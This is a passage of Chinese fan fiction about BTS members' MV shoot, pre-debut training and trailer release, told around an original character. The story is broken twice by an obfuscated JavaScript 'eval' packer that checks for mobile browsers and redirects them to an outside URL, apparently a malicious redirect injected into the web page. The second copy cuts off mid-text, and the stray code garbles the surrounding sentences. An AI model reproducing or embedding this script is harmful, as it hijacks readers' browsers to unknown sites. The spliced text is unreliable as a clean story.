一身纯黑穿搭衬得他身形愈发高大挺拔,抱着手臂站在镜子前,眉宇间已然散发出一股领头人的气场,活脱脱一个气场十足的“不良头目”,面对田柾国的追问,笑着揉了把他的头发,点头夸赞:“酷,我们柾国最酷。” 喧闹的氛围里,更衣室的布帘忽然被轻轻掀开,安岁秋缓步走了出来。 一瞬间,美容室里的嘈杂像是被按下暂停键,所有人的目光齐刷刷落在他身上,连吹风机的声音都显得微弱了几分。 他的造型做了极大胆的突破,左半边头发被编成几股纤细的小辫子,一丝不苟地向后梳起,牢牢固定在耳后,彻底露出清晰利落的颧骨与流畅的下颌线,右侧剩下的黑发依旧保持着自然的卷曲,软软垂在肩头,两种发型碰撞出极致的反差感。 左耳耳垂上,三个刚打好的耳洞还泛着淡淡的红,从大到小排列的银色钻石耳钉,在灯光下折射出细碎又耀眼的光,下唇中央挂着一个可拆卸的假唇钉,随着他细微的呼吸动作,轻轻晃动,添了几分不羁。 本该显凶悍的全包眼线,在他脸上却没有半分浮夸,反而精准勾勒出那双琥珀色眼眸的精致轮廓,眼尾微微上扬,内眼角尖锐向下,冷感与精致感交织,活脱脱一个日系疏离感满满的不良少年,清冷又惊艳。 脖子上叠戴着两层细银链,末端坠着一个小巧的“A”字母吊坠,黑色半袖V领衬衫开得恰到好处,露出线条清晰的锁骨,面料上暗藏的低调豹纹图案,添了丝不羁却不浮夸。 下身搭配合身的黑色紧身裤,完美衬出笔直修长的腿型,虽说如今只有175的身高,却有着小头宽肩、细腰长腿的绝佳身材比例,旁人穿起来容易显得花哨夸张的嘻哈风穿搭,穿在他清瘦的身上却格外协调,自带一种疏离又潇洒的独特气质,让人移不开眼。 安岁秋微微歪头,伸手轻轻调整了一下下唇的唇钉,动作间,耳上的耳钉划过细碎的光,颈间银链轻轻晃动,白皙的皮肤在灯光下晃得人眼晕。 “!!!!!!” 休息室里静了几秒,隐约听到了吸气声,金泰亨张着嘴巴,半天忘了说话,一单一双的大眼睛直直盯着安岁秋,不自觉地颤动了好几下。 田柾国直接看呆在原地,嘴唇微张露着一点小兔牙,愣了好半天,才红着脸小声蹦出一句:“岁秋哥……好帅啊。” 朴智旻围着他上下打量了好几圈,眼神里满是赞叹,喃喃自语,“这真的是不良少年吗?哪有这么好看的不良啊,也太绝了。” 金硕珍更是夸张地捂住心口,嘴角抑制不住地扬起,笑着调侃:“哎一古,我们岁秋这颜值真是绝了,往这一站,直接成焦点了,不愧是‘国宝级美少年’啊~” 连向来寡言、不爱表露情绪的闵玧其,都眯起眼睛,目光在安岁秋的脸上和造型上停留了好几秒,才缓缓移开视线,故作淡定地从鼻子里哼出一声,嘴硬道:“花里胡哨的。” 安岁秋对这些惊叹的反应接受良好,他走到全身镜前,静静看着镜中的自己,伸手轻轻摸了摸耳上的耳钉,又小心翼翼碰了碰下唇的唇钉,唇肉被指尖不经意触碰,渐渐泛起一层淡红,带着点青涩的无措。 “耳朵还疼吗?刚打的耳洞要小心别碰水。”郑号锡最先凑过来,语气里满是关心,眼神落在他还有些泛红的左耳垂上,伸手想碰又怕弄疼他,动作格外轻柔。 “打的时候有点疼,现在已经好多了。”安岁秋又摸了摸还在发烫的耳垂,声音因为唇钉的存在,多了一丝细微的沙哑,比平日里更显磁性。 话音刚落,田柾国就兴冲冲地蹭到他身边,圆眼睛死死盯着他的耳钉和唇钉,亮晶晶的满是羡慕,拉着安岁秋的胳膊激动地晃了晃。 “岁秋哥,我也要打耳洞,打一排!这个唇钉也太酷了,我也想弄!” “唇钉是假的,扣上去的。”安岁秋抿了抿唇,感受到唇间金属的冰凉,微微动了下眉毛,心里暗自庆幸不是真的穿孔,想着要是真打了唇钉,喝水吃饭都不方便, 他伸手点了点田柾国耳朵上那个简约的黑色耳钉,补充道:“你不是已经有耳钉了,够用了。” “可只有一个啊,你这三个也太帅了,好像索隆啊!”田柾国依旧不放弃,小脸上满是执着。 “你还小,”安岁秋无奈,伸手轻轻按住田柾国圆溜溜的脑袋,不让他再凑过来,语气认真,“打耳洞很疼的,而且护理不好容易感染。” “我不怕疼!” “我怕你感染。”安岁秋戳了戳他的脸颊,一句话让田柾国瞬间蔫了下来,小声嘟囔着却也不再坚持,两人一来一回的打闹,让原本因造型惊艳带来的安静,瞬间又恢复了热闹。 这边正闹着,造型师和工作人员已经收拾好器材,开始催促大家集合,准备出发前往拍摄现场,众人立刻乱中有序地拿起外套、背包,互相提醒着别落下东西。 混乱间,安岁秋忽然感觉后颈被轻轻碰了一下,有人伸手轻轻拉了拉他颈间的银链,指节不经意擦过他后颈微微凸起的骨头,带着一丝微凉的触感。 他下意识回头,正好对上闵玧其没什么多余表情的脸,眼神平静无波。 “链子歪了,别等会儿缠住衣服或者头发。”闵玧其松开指尖,语气平淡得像在说一件再平常不过的小事,说完便转身去拿自己的外套,没再多言。 “哦,知道了,谢谢玧其哥。”安岁秋点点头,伸手理了理颈间的银链,将那个小巧的“A”字吊坠轻轻抚平,安静贴在锁骨下方。 MV拍摄地选在京畿道的废弃校舍与相邻老旧街区,深冬寒风卷着碎雪沫,刮过残破的玻璃窗与斑驳剥落的墙壁,空气里混着灰尘、陈旧木料与道具颜料的刺鼻味道,冷得人指尖发僵。 开场镜头拍“抢校车”,要求八人从街角狂奔而出,利落跳上路边的黄色旧校车,神情要拽,动作要狠,演出叛逆不良的气场。 “Action!” 第一次开拍,朴智旻跑太急,鞋带松垮差点绊倒自己,慌忙扶住车身才稳住,惹得工作人员低笑;第二次,金泰亨跳车时太过兴奋,眉眼弯弯毫无凶气,反倒像春游赶车的学生;第三次,田柾国爆发力太足,冲得过快直接跑出镜头范围,摄像师都没跟上。 接连NG五六次,众人跑得气喘吁吁,白雾从嘴边不停呼出。 安岁秋靠在冰冷的校车金属外壳上,指尖无意识摩挲着颈间银链,看金南俊拿着剧本跟导演比划动线、调整站位,忽然忍不住弯了弯唇角——这群人里,大多是上学时守规矩的乖孩子,此刻却一本正经琢磨着怎么演“不良”,反差感十足。 “笑什么?” 闵玧其的声音在身侧响起,他嘴里叼着棒棒糖,双手揣在外套兜里,帽檐压得极低,半张脸藏在阴影里,是所有人里最贴合混混气质的,慵懒里透着股漫不经心的狠劲。 “没什么,就是觉得有意思。”安岁秋收回目光,声音很轻。 闵玧其顺着他的视线,看向正对着后视镜练习凶表情、却依旧稚气的田柾国,嘴角也微不可察地扯了扯,低声补了句:“再装都像偷穿大人衣服的小孩。” 第十次试拍,导演终于喊出“OK”。 众人挤在昏暗的校车里,对着镜头摆出挑衅神态:金南俊墨镜反射着冷光,气场凌厉;郑号锡铆钉口罩遮面,透着尖锐感;金泰亨金发在昏暗中格外扎眼;朴智旻和田柾国一左一右绷着脸,故作凶悍;金硕珍烟熏妆在阴影里更显深邃;闵玧其叼着棒棒糖,斜睨镜头的模样压迫感十足。 安岁秋则靠在最内侧座位,没看镜头,只侧头望向窗外,逆光勾勒出清瘦的侧脸轮廓,耳坠与唇钉泛着细碎微光,事不关己的冷漠疏离,比刻意的凶狠更有镜头张力。 “Cut!很好,过!” 下一场转街头涂鸦戏,道具组早已摆好各色喷漆罐。闵玧其与郑号锡被分到一面破墙前,两人拿起喷漆罐摇晃出沙沙声响,按下喷头的瞬间,郑号锡没掌握好角度,被反冲的颜料雾气呛得连连咳嗽,抬手捂住口鼻后退几步。 闵玧其则稳得多,手腕轻转,先喷出一个歪扭的“S”字母,盯着看了两秒觉得不够贴合风格,又补了几笔,改成一个简约抽象的骷髅头。 “哇,哥,你居然会画这个?”金泰亨凑过来,满眼好奇。 “以前看他们玩过。”闵玧其语气平淡,随手把喷漆罐递给他,“试试?” 金泰亨兴奋接过,对着墙面乱喷,没把控好力度,颜料反溅到皮衣上,刺鼻气味呛得他皱起脸,脖子也蹭上一抹蓝漆,只能吐吐舌作罢。 田柾国在一旁笑得直乐,没留意脚下,转身时踢倒一罐红色喷漆,颜料瞬间淌了一地,他脚下一滑险些摔倒,安岁秋眼疾手快伸手拽住他的胳膊,才让他免了一次中国传统文化的体验活动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394877|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不然这变脸换来的可不是观众的掌声,而是造型师姐姐的巴掌声了。 安岁秋没跟众人挤着涂鸦,找了角落一块相对干净的小墙面,用黑色喷漆喷了个线条流畅的小写“A”字,尺寸极小,藏在阴影里几乎不起眼,不特意看根本发现不了,而一直默默留意他的金南俊,在墨镜后悄然将这个小动作尽收眼底。 废弃校舍内的群舞拍摄,是整场MV录制里最熬人的环节。 空旷的教室没有半点暖气,深冬的寒风从破窗缝里往里灌,地面积着薄灰,冰得刺骨。 众人只能穿着单薄的嘻哈风服装,踩着冰冷的地板,一遍遍完成高强度编舞,同一个八拍的动作,反反复复跳了二十多遍。汗水顺着下颌线往下淌,混着脸上的妆容晕开,眼周的全包眼线花了些许,透着几分狼狈,却没人敢停下歇口气。 跳到旋转接跪地的衔接动作时,朴智旻落地重心偏了,左膝重重磕在坚硬的水泥地上,一声闷响在安静的教室里格外清晰。 他脸色瞬间白了几分,眉头死死拧住,却咬着牙没吭声,撑着地面迅速站起来,强撑着跟上后续的节奏,脚步却藏不住地发虚。 “智旻哥!”离他最近的田柾国第一时间瞥见,动作顿了半拍,担忧地喊出声。 “没事,继续!”朴智旻快速摇头,声音带着一丝隐忍的颤音,可下一个跳跃动作,膝盖明显不敢发力,身形滞涩了大半。 音乐戛然而止,导演快步走过来询问状况,朴智旻连连摆手,强笑着说只是小磕了一下,不影响拍摄,可额头上已经渗出细密的冷汗,嘴唇都微微泛白。 安岁秋没多说话,径直走到自己的背包旁,翻出随身带着的镇痛喷雾,转身走回朴智旻身边,直接单膝跪在冰冷的灰地上,指尖捏着喷雾罐晃了晃,浅棕色的眼眸微微蹙起,盯着他的膝盖,语气平静却带着不容拒绝的力道:“把裤子卷起来。” “岁秋啊,真的不用,忍忍就过去了,别耽误大家拍摄……”朴智旻还想逞强。 “卷起来。”安岁秋头都没抬,垂着眼看着他的膝盖,语气没半分商量的余地。 朴智旻咬了咬下唇,拗不过他,慢慢将紧身裤裤腿卷到膝盖处,只见左膝已经泛红一片,微微肿起,看着便觉得疼。 安岁秋眉头皱得更紧,小心翼翼对着红肿处喷上喷雾,微凉的雾气落在皮肤上,随后伸出左手,掌心捂住他微凉的膝盖,指腹带着薄茧,轻轻按揉着,力度恰到好处。 “下次落地记得用前脚掌缓冲,孙老师上课反复强调过,别硬磕。”他声音不高,带着淡淡的责备,更多的却是藏不住的关心。 “我知道了,刚刚没站稳……”朴智旻小声应着,头微微低下,心里满是愧疚。 郑号锡也立刻凑过来,伸手从另一侧轻轻架住朴智旻的胳膊,语气关切:“我扶你去旁边的课椅歇会儿,我去跟导演说,把你的单人镜头往后挪挪,先拍群舞部分。” “不行,不能因为我一个人耽误整个团队的进度,大家都已经很累了……”朴智旻连忙摇头,执意想站起来继续。 “已经耽误了。”闵玧其不知何时站到了旁边,语气没什么波澜,却句句在理,“你现在硬撑着跳,动作做不到位,最后还是要NG重来,更浪费时间。” “休息十分钟,等喷雾起效消肿了再拍,效率更高。” 朴智旻环顾一圈,看着众人满是担忧的眼神,再也说不出拒绝的话,乖乖被郑号锡扶到一旁破旧的课椅上坐下。 金硕珍立刻递过自己保温杯里的热水,杯壁带着温热的暖意,“快喝点热水暖暖身子,别冻着了,膝盖好好歇着。” 金南俊则快步走向导演,沟通调整拍摄顺序,先拍没有朴智旻的其他镜头。 安岁秋跟着走过去,依旧跪在朴智旻面前,保持着这个姿势,又帮他轻轻揉了好一会儿膝盖,直到看着红肿稍稍消退,痛感缓解,才抬起头望着对方依旧苍白的脸,抿了抿唇,轻声问:“还疼吗?” 朴智旻摇摇头,看着眼前垂眸照顾自己的安岁秋,忽然弯起眼睛笑了,语气软软的:“岁秋啊,你好像妈妈。” “……?” 安岁秋动作一顿,抬眸看他,一时语塞。 这哥怕是被金泰亨传染了,脑回路怎么这么清奇。 旁边凑热闹凑过来的金泰亨,闻言直接噗嗤一声笑出声,捂着肚子蹲在地上,“哈哈哈哈智旻说得对,安安刚刚超严肃的,真的像妈妈!” 十分钟休息时间转瞬即逝,朴智旻的膝盖在镇痛喷雾的作用下好了很多,虽然动作依旧会下意识小心,却能流畅跟上整套编舞。 终于,在又一遍完整的群舞结束后,导演喊出了“Cut!过了!” 话音落下的瞬间,所有人像是被抽走了所有力气,同时垮下肩膀,长舒一口气。 “啊——累死了,感觉腿都不是自己的了!”金泰亨第一个撑不住,直接瘫坐在满是灰尘的地上,懒得顾及造型。 “我的妆肯定花得不成样子了,脸都绷得慌,感觉一碰就要裂开。”金硕珍小心翼翼地碰了碰自己的烟熏妆,一脸心疼。 田柾国则趁着休息,又凑到安岁秋身边,眼睛直勾勾盯着他耳上的耳钉和嘴上的唇钉,亮晶晶的,满是羡慕,伸手轻轻拉了拉安岁秋的衣角,软声央求。 “岁秋哥,现在不用拍摄了,这个唇钉能不能摘下来给我戴一下?就一下下,我就看看效果!” 反正拍摄间隙无需出镜,安岁秋很爽快地拆下唇钉,随手扔给了他。 田柾国稳稳接住,丝毫不在意这是刚从安岁秋嘴上摘下来的,凑到旁边道具箱的玻璃反光处,笨拙地往自己嘴上扣,扣好后立刻转头看向安岁秋,眼睛亮得像讨夸奖的小狗,迫不及待地问: “岁秋哥,怎么样?我戴好看吗?” 安岁秋看着他,嘴角不自觉扬起一抹浅淡的笑意,如实说道:“好看。” 只是那唇钉戴在田柾国清纯稚气的脸上,格外突兀,哪里有半分不良感,反倒像个乖小孩偷偷学坏,傻气又可爱。 工作人员开始陆续收拾器材,场务通知大家可以卸妆换衣服,下班了。 安岁秋避开忙碌的人群,慢慢走到那面涂鸦墙前,很快找到自己藏在角落、那个小小的黑色“A”字,指尖轻轻拂过墙面已经干掉的喷漆,静静站着看了片刻。 身后传来轻缓的脚步声,没等他回头,金南俊已经默默站到他身侧,目光也落在那个字母上。他弯腰从地上捡起一罐还没被收走的蓝色喷漆,晃了晃罐身,发出沙沙的声响,随即抬手,在那个“A”字的后方,一笔一划、认认真真写下三个字母——CHU。 安岁秋侧过脸微微仰着头看向金南俊,墨镜遮住了他的眼睛,只能看到下颌线紧绷,脸颊旁陷出深深的酒窝。他又低下头,瞥见金南俊指尖沾着的颜料印,眉眼弯了弯,脸颊漾出浅浅的梨涡,和金南俊的酒窝有些相似。 “哥,走吧。”他收回目光,“回去卸妆,脸上糊着妆,难受得慌。” “但是这样很好看啊。”金南俊脱口而出,话一出口自己先顿了顿,耳尖微微发烫,连忙补充,“我是说……不化妆也好看。” “……rapper都这么会说话吗?” “rapper只会说实话。” 回程的大巴车里,没了拍摄时的紧绷,疲惫瞬间席卷了所有人。金泰亨脑袋歪靠在郑号锡肩上,睡得安安稳稳;田柾国坐在座位上,脑袋一点一点的,困得直点头,手里还攥着没来得及还给安岁秋的假唇钉。 朴智旻靠着椅背,指尖轻轻揉着还有些发酸的膝盖,动作轻柔;闵玧其拉低了毛线帽檐,遮住大半张脸,呼吸平稳,早已沉沉睡去;金硕珍强撑着精神翻看明天的训练日程表,眼皮却不停打架,头时不时往下垂。 安岁秋坐在靠窗的位置,车窗玻璃映出他带着妆容的侧脸,晕开的眼线让视野边缘多了层模糊的阴影。冷风透过窗缝钻进来,他抬手摸了摸耳上冰凉的耳钉,细碎的光落在指尖。 窗外,夜色飞速后退,首尔的灯火在远处渐渐亮起。 他望着窗外,心里轻轻念了一句—— 新生活,要开始了。 29. 冲刺训练 进入五月,练习室里的空气像是被一只无形的手紧紧攥住,压抑得让人喘不过气,出道日期如同一枚悬在头顶的倒计时炸弹,每一分每一秒都在悄然倒数,耳畔作响的不只是墙上时钟的滴答声,还有少年们滴落的汗水重重砸在地板上的沉闷声响。 最后的出道冲刺阶段,所有训练项目都变得具体又残酷,每一项都直指舞台呈现的极致要求。 “稳住呼吸!肺活量是一切舞台表现的基础!” 金盛恩用力拍着手掌,语气里带着不容置疑的严厉,如同在催促一群即将奔赴战场的士兵,“边跑边唱,气息稳不住就再加跑五圈!” 于是公司的天台、附近公园的步道上,总能看见八个少年排成整齐一列的身影,他们大口喘着气奋力奔跑,胸腔剧烈起伏,却还要拼尽全力稳住声线,一遍遍唱着基础音阶,连换气的间隙都满是疲惫。 出道曲里那些需要极强爆发力的段落,被拆分成一个个细碎的音符,揉进了每一次艰难的换气、每一步沉重的奔跑里,成为少年们刻在骨子里的练习记忆。 金南俊跑得双颊泛起淡淡的绯红,即便呼吸急促,也始终低头盯着手中的歌词纸,在奔跑的颠簸里默记着说唱的flow与节奏;郑号锡则努力在晃动的步伐里维持着舞蹈动作的框架,不让疲惫打乱肌肉记忆;田柾国年纪最轻肺活量尚且占优,可也被高强度的说唱段落折磨得额角布满汗珠,气息渐渐不稳。 最拼尽全力的当属朴智旻,他不仅要完成所有人的常规训练,还要单独打磨正式编舞里那惊鸿一瞥的撩衣动作——这是属于他的标志性killing part,他必须让这个片段呈现出最惊艳的舞台效果。 其实拍摄前他早已练出了线条流畅的肌肉,先前的美黑也让肌肤透着健康的小麦色,可为了让身形在舞台灯光下达到最完美的视觉状态,他又特意去补做了一次美黑,让肤色变得更加均匀深邃,泛着温润的古铜光泽。 当朴智旻带着一身全新的古铜色肌肤回到练习室时,金泰亨立刻夸张地惊呼出声,“哇!我们糯米团直接变成巧克力团子了!” 水煮鸡胸肉、蛋白、西兰花,所有食物摄入都精确到克,每天雷打不动的核心强化训练,仰卧起坐、平板支撑、悬垂举腿……一项项枯燥又严苛的训练,他从未有过一丝懈怠。 汗水浸透的地垫上,总能留下朴智旻完整的身体轮廓水印,那是他无数次咬牙坚持的痕迹。 好在所有的努力都有了回报,效果肉眼可见地显著。 朴智旻靠在冰冷的镜墙边,随手撩起早已被汗水浸透的黑色背心下摆扇风,随着抬手的动作,那副经过反复打磨、线条愈发清晰漂亮的腹肌毫无保留地展露出来,晶莹的汗水顺着肌肉间的沟壑缓缓流淌,在练习室顶光的照射下,泛着极具张力的诱人光泽。 “吁~” 金硕珍率先吹了声轻快的口哨,眉眼带笑地开口,“我们智旻尼,这状态比之前还要好啊。” 郑号锡凑到他身边,伸手轻轻戳了戳那紧实的腹肌,语气里满是赞叹,“真的,感觉比拍MV的时候还要结实,肤色也特别好看。” 朴智旻闻言,有些不好意思地弯起嘴角笑了,眼底却藏不住被同伴认可的骄傲与光亮。 就在这时,一只肤色冷白的手从身侧轻轻伸了过来,指尖带着练习过后的微热温度,缓缓按在了他的腹肌上。 安岁秋盘腿坐在朴智旻身侧,看起来纯粹是出于孩童般的好奇,指尖顺着肌肉块之间最深的沟壑缓缓划过,动作轻柔,像是在触摸一件做工精密的器械零件,满是认真。 “哥,”他缓缓抬起头,抬眸看向朴智旻,琥珀色的眼眸里盛满了纯粹的好奇与一丝不易察觉的惊叹,语气认真又直白,“你好硬。” 练习室里瞬间安静了一秒,空气仿佛都凝固住。 下一秒,此起彼伏的哄笑声骤然爆发,比刚才的动静还要夸张,还有奇怪的擦玻璃声(bushi)。 “哈哈哈哈哈哈——” “盒盒盒盒盒盒盒——” “呀!安岁秋!” 朴智旻瞬间从脖颈红到耳尖,整张脸烧得滚烫,手忙脚乱地往下扯背心,慌乱间差点把衣摆扯破,语气里带着又羞又窘的嗔怪,“你、你乱摸什么呢?!” 金泰亨笑得直不起腰,干脆瘫在地上打滚,嘴里还不停念叨,“哈哈哈哈!安安居然说……” 闵玧其靠在墙边,嘴角克制不住地抽了抽,别过脸不去看眼前的闹剧,肩膀却控制不住地轻轻抖动。 田柾国瞪圆了那双清亮的眼睛,看看安岁秋,又看看朴智旻泛红的脸颊,立刻也伸出手跃跃欲试,满是天真地开口:“真的吗?很硬吗?” “田柾国!” 朴智旻这下连胳膊都泛起了红晕,连忙跳起来躲开忙内伸过来的手,又急又羞地喊着:“不许摸!谁都不许摸!” 安岁秋这才后知后觉地反应过来,自己刚才的话有多容易让人产生误会,耳尖也渐渐染上淡淡的绯色,却还是眨了眨琥珀色的眼睛,一本正经地补充解释:“我是说肌肉的质感……和我之前想象的完全不一样。” 金南俊站在一旁沉默不语,只是默默绷直了嘴角,这位曾被电脑病毒困扰过的队长,此刻不敢轻易开口,生怕一说话就让原本就跑偏的画风变得更加离谱。 “好了好了!你别再说了!” 朴智旻捂住发烫的耳朵,整张脸烫得像是能煎鸡蛋,他现在只想找个地方躲起来。 玩笑归玩笑,安岁秋对自己与身边人身体变化的观察远不止于此。不久后的队形排练,练习室的镜面映着八人反复调整的站位,孙成德盯着镜中整体构图,指尖点了点安岁秋的方向,随口吩咐: “岁秋,你往后再退半步,现在站的位置刚好挡到智旻的动作线条了。” 安岁秋依言后退,站定后他忽然意识到什么,微微偏头看向斜前方的闵玧其,刚来的时候,他还需要仰头才能和闵玧其对视。 现在……视线却已经能轻松越过对方的头顶了。 休息时,他径直走向练习室角落,那面墙上贴着老旧的身高测量贴纸,边角已经微微卷起,是他们平日里偶尔量身高的小角落。 安岁秋挺直背靠上去,金硕珍盯着他的动作,眼底闪过一丝趣味,起身顺手拿起旁边靠墙放着的三角尺,抬手将尺子轻轻在安岁秋的头顶一压。 “178。” 金硕珍仰头读出刻度,挑了挑眉,这才发现他几乎已经能和那双微微上挑的琥珀眼平视了,甚至是看见暖色调的眼睛里自己的倒影。 “又长了?上次体检不是173吗?” “最近可能拉伸多了。” 安岁秋语气平静,但眼底有一丝小小的得意,眉眼也不自觉弯下来,看得金硕珍心里毛绒绒的,又想起了刚见面时的狐狸幼崽。 这消息很快就传开,朴智旻第一个冲过来,踮起脚尖和他比划,然后不可置信地嚷嚷,像是遭受了天大的背叛:“真的!岁秋啊,你什么时候偷偷长的!明明之前还比我矮的!” 闵玧其没说话,只是慢悠悠地晃过来,站在安岁秋面前,眯起眼睛上下打量了一番,然后他面无表情地转身,也走到测量墙前把背靠上去。 “哥,要量吗?”安岁秋拿起尺子,眼含笑意地主动问道。 “……不用。” 闵玧其瞥了一眼镜子里明显的差距,硬邦邦地落下两个字,就走开了。 可那天晚上训练结束,其他人都陆续离开练习室,安岁秋留下来收拾东西时,无意间抬头,却看见闵玧其独自走回那面测量墙前,悄悄用指尖比划着自己的头顶与墙上某个旧标记的位置。 虽然那张一向冷淡的脸上没什么大表情,但是安岁秋还是幻视了小猫委屈地垂下尾巴的样子,尾巴和睫毛有什么区别。 安岁秋抿唇低头笑了笑,没拆穿这哥的小别扭。 出道前的压力,像一口持续加温加压的锅,闷得人喘不过气,总要寻些细碎的缝隙,来释放积攒已久的紧绷蒸汽。 深夜加练后的短暂休息,是少年们一天里最松弛的片刻。金泰亨盘腿坐在微凉的练习室地板上,指尖撕开一包软糖的包装袋,浓郁的草莓香气瞬间散开,酸甜的味道在舌尖化开,好吃。 软糖还没嚼完,他便从包装袋里摸出几张附赠的亮片贴纸,星星、爱心、彩虹的小巧图案,在练习室昏黄的顶灯下,闪着不算精致却格外耀眼的光。他眨了眨那双灵动的眼睛,目光一转,轻轻落在了身旁靠着镜面闭目养神的安岁秋身上。 安岁秋是真的累极了,连日的高强度训练让他整个人都透着恍惚,白皙的脸颊晕着一层运动后的淡粉薄红,微卷的黑发被汗水浸湿,软乎乎地贴在光洁的额角与纤细的脖颈上,衬得肌肤愈发冷白。 他呼吸平缓绵长,纤长的睫毛垂落,在眼下投出一圈浅浅的扇形阴影,安静得像一只收起利爪、蜷着休憩的小狐狸,只剩满身疲惫的柔软。 金泰亨立刻放轻了动作,慢慢挪到安岁秋身边,小心翼翼地撕下一张银闪闪的星星贴纸,指尖捏着边缘。 冰凉又轻薄的触感轻轻贴上脸颊,安岁秋的眼睫轻轻颤了颤,缓缓睁开了眼睛,眸底还带着未散的睡意,对上金泰亨贴近的脸和已经贴到脸上的手,也只是反应迟钝地又眨了下眼。 “别动哦。”金泰亨压低声音,语气软乎乎的,神情却格外专注,仿佛在完成一件无比重要的艺术创作。 他先将星星贴纸轻轻按在安岁秋的左脸颊,又贴了一颗在右颊,接着是光洁的额头,最后甚至挑了一枚迷你爱心贴纸,仔仔细细贴在了安岁秋手背上那颗浅褐色的小痣上,动作轻柔又认真。 安岁秋当真乖乖没动,只是微微仰着脸庞,任由金泰亨摆弄。那双平日里总是澄澈又深情的眼睛,此刻裹着浓浓的疲惫,显得有些放空,瞳仁里清晰倒映着金泰亨近在咫尺的认真面孔,还有他那头蓬松柔软的金灿灿卷发。 不得不说,虽然他不怎么理解造型师姐姐们对衣服的审美,但是给他们做的发型还是都挺合适的,阳光从窗户照进来,落在金泰亨金色的发顶,像秋天田野里的麦茬,带着一种野性的生命力与活力。 “完成啦!”金泰亨满意地收回手,往后退了小半步,端详着自己的“作品”,眼睛弯成了月牙,立刻掏出自己的手机,对着安岁秋晃了晃,“安安,快看镜头!” 安岁秋迟钝地眨了眨眼,缓缓看向手机镜头,脸上贴满亮晶晶的幼稚贴纸,瞬间冲淡了他与生俱来的清冷疏离,整个人变得柔软又梦幻,还带着一丝未醒的茫然傻气,反差感十足。 “噗——”旁边正喝水的郑号锡没忍住笑出了声,放下水瓶打趣道,“岁秋啊,好像小学女生哦~” 金泰亨连着拍了好几张,翻着相册看了看,还是觉得不够,又伸手拿过安岁秋放在地板上的手机,直接滑动解锁,熟练地找到相机软件。 他切换成前置摄像头,侧身凑到安岁秋身边,把自己的脸也挤进画面里,金发紧紧贴着安岁秋的黑发,笑得眉眼弯弯,露出一口整齐的牙齿,安岁秋则还是那副茫然懵懂、任由摆布的模样,乖乖靠着他。 闪光灯亮起的瞬间,安岁秋下意识眯了眯眼,画面就此定格。 照片里,两个少年头挨着头,脸上贴着幼稚的亮片贴纸,眼底还藏着训练的疲惫,背景是散落着水杯和毛巾的凌乱练习室,镜子里映出他们模糊的身影。 后来安岁秋一直把这张照片设为手机桌面壁纸,用了很久很久,直到某天被田柾国无意间发现,忙内鼓着腮帮子吃醋,嚷嚷着怎么照片里没有自己,闹着要重新拍,安岁秋才无奈又好笑地换成了八个人的大合照。 预告片发布的那天,八个人紧紧挤在公司那台信号时好时坏的笔记本电脑前,肩挨着肩,连呼吸都下意识放轻,屏息凝神地一遍遍刷新着页面,鼠标点击的声响在安静的房间里格外清晰。 终于加载完毕,进度条开始移动。 画面先是一片深邃的黑,紧接着厚重有力的鼓点重重砸下,镜头快速切换闪烁,每一幕都冲击力十足: 废弃校舍里斑驳张扬的涂鸦,镜头扫过时带起的飞扬尘土,滑板碾过地面发出的刺耳摩擦声,成员们画着全包眼线的凌厉眼神,金泰亨骤然甩飞眼镜的飒爽瞬间,朴智旻撩起衣角露出的紧实腹肌,还有安岁秋唇钉在光影下反光的极致特写…… 最后,八个挺拔的身影背对镜头,并肩站在街头,画面中央缓缓浮现出血色的醒目字迹—— BTS 防弹少年团  ING SOON 视频播放完毕,屏幕重新归于漆黑,房间里陷入一片针落可闻的寂静,所有人都还沉浸在刚才的画面里,胸腔里的心跳剧烈又滚烫。 下一秒,金泰亨率先按捺不住激动,猛地跳了起来,声音里满是抑制不住的兴奋:“哇!也太帅了吧!” 他快步凑到屏幕前,指着定格的黑幕,语气雀跃,“那个镜头!我甩眼镜的那个片段,也太帅了!” “我的表情……”朴智旻下意识捂着腹肌,看着暗下去的屏幕,脸上泛起害羞的红晕,却又藏不住眼底的兴奋。 安岁秋静静地看着重新黑下去的屏幕,心脏在胸腔里沉重地跳动着,预告片里的那个“Ann”带着耳钉唇钉,眼神冷漠,和他此刻穿着宽松运动服、脸上还残留着昨夜练习汗水的样子,仿佛是两个不同的人。 没过多久,评论区的留言开始源源不断地涌现,一条条刷新在页面下方: 「新人团?风格好强烈。」 「眼线画得有点凶,但意外的帅?」 「那个黑头发唇钉的,长得是不是太漂亮了?」 「八个人吗?怎么多了一个……」 金南俊低声说:“开始了。” 是啊,一切都开始了。 从这一刻起,他们不再只是默默埋头训练的练习生,而是即将被无数人放在显微镜下,细细审视、评判的艺人,前路可能是鲜花掌声,但逃不过质疑与风浪。 接下来的几天,是成员陆续官宣的日子,每一天公司账号都会发布一名成员的预告照和简介,像一场精心安排的揭幕仪式,一点点挑动公众的好奇心。 6月2日,金泰亨——V的预告照公开,照片上的他顶着一头耀眼的金发,穿着皮衣,对着镜头做出搞怪又充满生命力的表情,此前所有“七人团”的猜测被打破,舆论哗然。 「真的有第八人?!之前完全没出现过!」 「这个金发的好惊艳!像小狮子!」 「是秘密武器吗?期待了!」 练习室里的金泰亨正蹲在地上刷着这些评论,握着手机的手指微微发抖,评论里大多是夸赞,可零星几条“突然冒出来的”“是不是硬塞进团的”质疑,像细小的针,轻轻扎在他心上。 这些日子他一直被隐藏训练,本就比其他成员更敏感,生怕自己成为多余的那一个。 可金泰亨抬起头时,还是硬生生扯出一个大大的灿烂笑容,故作轻松地对着成员们喊:“大家都看到了吧!都说我超帅的!” 安岁秋默默走到他身边坐下,肩膀轻轻碰了碰他的胳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 